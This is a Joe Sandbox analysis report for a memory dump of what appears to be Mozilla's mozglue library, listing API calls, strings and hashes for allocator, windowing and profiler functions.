GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C67E810,00000040), ref: 6C6297CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E7B8,00001388), ref: 6C629838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E744,00001388), ref: 6C62984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E784,00001388), ref: 6C629874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E7DC,00001388), ref: 6C629895

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C629B38
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C629993
MOZ_CRASH(), xrefs: 6C629B42
<jemalloc>, xrefs: 6C629B33, 6C629BE3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6299D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6299A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C629BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6299BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C629933, 6C629A33, 6C629A4E
MALLOC_OPTIONS, xrefs: 6C6297CA

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 15ae9021ace22e03c9bbf3697f542c30118e7ca69f3fde8c7685bec518cfb9f9
Instruction ID: cae0a47e7c75adb230ff51a6aad07f5effc5c92864f38ed3e1354093cbc9b57d
Opcode Fuzzy Hash: 15ae9021ace22e03c9bbf3697f542c30118e7ca69f3fde8c7685bec518cfb9f9
Instruction Fuzzy Hash: 6A538072A057018FD704CF29C980655BBE1BFC9328F29C66DE8698B7A1D739E841CF85

Function 6C630DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C630F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C630F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C630FB7
EnterCriticalSection.KERNEL32(?), ref: 6C630FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C631031
LeaveCriticalSection.KERNEL32(?), ref: 6C6310D0
EnterCriticalSection.KERNEL32(?), ref: 6C63117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C631C39
EnterCriticalSection.KERNEL32(6C67E744), ref: 6C633391
LeaveCriticalSection.KERNEL32(6C67E744), ref: 6C6333CD
LeaveCriticalSection.KERNEL32(?), ref: 6C633431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C633437

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C633946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C633793
MOZ_CRASH(), xrefs: 6C633950
<jemalloc>, xrefs: 6C633941, 6C6339F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6337D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6337A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C633A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6337BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C633559, 6C63382D, 6C633848
MALLOC_OPTIONS, xrefs: 6C6335FE

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 508a9dc7c9770e84e140e83756d3e05c7fda16a06dccc5c099aad099ae23d15d
Instruction ID: fce543255b21c3b852b39cceda72e2218bea27387fb3202f4a176df48b37cbfa
Opcode Fuzzy Hash: 508a9dc7c9770e84e140e83756d3e05c7fda16a06dccc5c099aad099ae23d15d
Instruction Fuzzy Hash: 4B53AD71A057218FD304CF29C580616FBE1BF89328F29E66DE86D9B791D731E842CB85

Function 6C6555F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C62E1A5), ref: 6C655606
LoadLibraryW.KERNEL32(gdi32,?,6C62E1A5), ref: 6C65560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C655633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C65563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C65566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C65567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C655696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6556B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6556CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6556E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6556FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C655716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C65572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C655748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C655761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C65577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C655793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6557A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6557BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6557D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6557EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6557FF

Strings

RegisterClassW, xrefs: 6C6556AC
CreateWindowExW, xrefs: 6C6556C5
SetWindowLongPtrW, xrefs: 6C6557B7
CreateSolidBrush, xrefs: 6C6557E4
user32, xrefs: 6C655601
MonitorFromWindow, xrefs: 6C65578D
SetWindowPos, xrefs: 6C6556F7
GetSystemMetricsForDpi, xrefs: 6C655677
ShowWindow, xrefs: 6C6556DE
DeleteObject, xrefs: 6C6557F9
FillRect, xrefs: 6C655729
GetWindowDC, xrefs: 6C655710
GetDpiForWindow, xrefs: 6C655690
StretchDIBits, xrefs: 6C6557CC
LoadIconW, xrefs: 6C65575B
ReleaseDC, xrefs: 6C655742
GetMonitorInfoW, xrefs: 6C6557A2
GetThreadDpiAwarenessContext, xrefs: 6C65562D
LoadCursorW, xrefs: 6C655774
EnableNonClientDpiScaling, xrefs: 6C655666
AreDpiAwarenessContextsEqual, xrefs: 6C655637
gdi32, xrefs: 6C65560A

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: fdbd16f0e49f1e905e7bf91ce18ff72271f5fa8cffed24cb853312886872316b
Instruction ID: 7bc4ceaed1d54b8a9bdd1c7095f371c1c24cf32898b7504a3ca51bfc9ee59009
Opcode Fuzzy Hash: fdbd16f0e49f1e905e7bf91ce18ff72271f5fa8cffed24cb853312886872316b
Instruction Fuzzy Hash: 8B513A706117329BEB069F378D98D263AF86B46349F604C25E921E2B51EF70C8118F7D

Function 6C6534A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6535BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6535E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6536CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6538BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6539EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653EE2

Part of subcall function 6C656180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6561DD
Part of subcall function 6C656180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C65622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6540F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C654157

Part of subcall function 6C656180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C656250
Part of subcall function 6C656180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C656292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C654448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C65484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C654863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C654878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C654896
free.MOZGLUE ref: 6C65489F

Strings

, xrefs: 6C654CD2

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 6c639a0490917ded9bf982591b1b149bbc841dd2555e78d2a3bcc3234d35c231
Instruction ID: 7a97abd95812d8cdb2727d5709fe682ba58106af7edd815b1132497a8b9a8ace
Opcode Fuzzy Hash: 6c639a0490917ded9bf982591b1b149bbc841dd2555e78d2a3bcc3234d35c231
Instruction Fuzzy Hash: A5F25E74508B808FC725CF29C0846AAFBF1FFCA304F618A5ED98997711DB719896CB46

Function 6C63F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C63F09B

Part of subcall function 6C615B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6156EE,?,00000001), ref: 6C615B85
Part of subcall function 6C615B50: EnterCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615B90
Part of subcall function 6C615B50: LeaveCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615BD8
Part of subcall function 6C615B50: GetTickCount64.KERNEL32 ref: 6C615BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C63F0AC

Part of subcall function 6C615C50: GetTickCount64.KERNEL32 ref: 6C615D40
Part of subcall function 6C615C50: EnterCriticalSection.KERNEL32(6C67F688), ref: 6C615D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C63F0BE

Part of subcall function 6C615C50: __aulldiv.LIBCMT ref: 6C615DB4
Part of subcall function 6C615C50: LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C615DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C63F155
GetCurrentThreadId.KERNEL32 ref: 6C63F1E0
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F1ED
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F212
GetCurrentThreadId.KERNEL32 ref: 6C63F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C63F248
GetCurrentThreadId.KERNEL32 ref: 6C63F2AE
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F2BB
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F2F8

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F350
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F35D
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F381
GetCurrentThreadId.KERNEL32 ref: 6C63F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F3A0
GetCurrentThreadId.KERNEL32 ref: 6C63F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F491

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C63F3CF

Part of subcall function 6C63F070: GetCurrentThreadId.KERNEL32 ref: 6C63F440
Part of subcall function 6C63F070: AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F44D
Part of subcall function 6C63F070: ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C63F4A8
GetCurrentThreadId.KERNEL32 ref: 6C63F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F561
GetCurrentThreadId.KERNEL32 ref: 6C63F577
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F585
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C63F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C63F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C63F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C63F3A8

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: b67e66be6b0e89d9c014ea12fd0da326510e1ce337ed68d93a7b5d1d26df0449
Instruction ID: 58ef446d6757aa8b714acac08c5437bb3cdf0a1c46bd513cdc5e7c7d801fb08c
Opcode Fuzzy Hash: b67e66be6b0e89d9c014ea12fd0da326510e1ce337ed68d93a7b5d1d26df0449
Instruction Fuzzy Hash: BCD11731604220DFDB159F6AD484BA977F4EF87368F141D69E95983B82CB7048188BBF

Function 6C6064C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6064DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6064F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C606505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C606518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C60652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C60671C
GetCurrentProcess.KERNEL32 ref: 6C606724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C60672F
GetCurrentProcess.KERNEL32 ref: 6C606759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C606764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C606A80
GetSystemInfo.KERNEL32(?), ref: 6C606ABE
__Init_thread_footer.LIBCMT ref: 6C606AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606AF7

Strings

nvd3d9wrap.dll, xrefs: 6C606500
user32.dll, xrefs: 6C606526
_etoured.dll, xrefs: 6C6064ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C606798
detoured.dll, xrefs: 6C6064DA
nvdxgiwrap.dll, xrefs: 6C606513

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: bc6774e0d32f14454aa1256b20ac424321f8774a0083a749a894ffa254abf7ba
Instruction ID: 87491dba0512ad09f0b23b633ef008bacd902d6723e85ee1804bb6bfe8afda72
Opcode Fuzzy Hash: bc6774e0d32f14454aa1256b20ac424321f8774a0083a749a894ffa254abf7ba
Instruction Fuzzy Hash: 42F10770A056299FDB24DF25CE887DAB7B4AF46318F044198DC09A3640E731EAC5CFA9

Function 6C61D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C61D904
LeaveCriticalSection.KERNEL32(?), ref: 6C61D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C61D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C61E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61E315
AcquireSRWLockExclusive.KERNEL32(6C67E804), ref: 6C61E37C
GetSystemInfo.KERNEL32(?), ref: 6C61E3C7
__Init_thread_footer.LIBCMT ref: 6C61E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C67E810,00000040), ref: 6C61E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E7B8,00001388), ref: 6C61E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E744,00001388), ref: 6C61E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E784,00001388), ref: 6C61E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E7DC,00001388), ref: 6C61E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E768,00001388), ref: 6C61E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C61E52E
ReleaseSRWLockExclusive.KERNEL32(6C67E804), ref: 6C61E54F

Part of subcall function 6C60D960: EnterCriticalSection.KERNEL32(?), ref: 6C60D999
Part of subcall function 6C60D960: EnterCriticalSection.KERNEL32(6C67E7B8), ref: 6C60DA13

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C61E621
MOZ_CRASH(), xrefs: 6C61E62B
<jemalloc>, xrefs: 6C61E61C, 6C61E6CC
: (malloc) Unsupported character in malloc options: ', xrefs: 6C61E6DD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C61E560, 6C61E58A, 6C61E5A5
MALLOC_OPTIONS, xrefs: 6C61E3FF

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: fa481a6a8229c1e7b46a5bdbf44ac83bcc64af3670f6198e73edfd791422a904
Instruction ID: 56104dfc4ea209c8ff07cd2b945482c37e7b32424165bf41e467b39394cf190f
Opcode Fuzzy Hash: fa481a6a8229c1e7b46a5bdbf44ac83bcc64af3670f6198e73edfd791422a904
Instruction Fuzzy Hash: EB92EE71A096118FD709CF2DC484755BBE1BF86329F19CA6DE8698BB91D331E841CBC8

Function 6C65C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C65C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C65C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C65C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C65CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C65DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C65DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C65DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C65E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C65E472

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
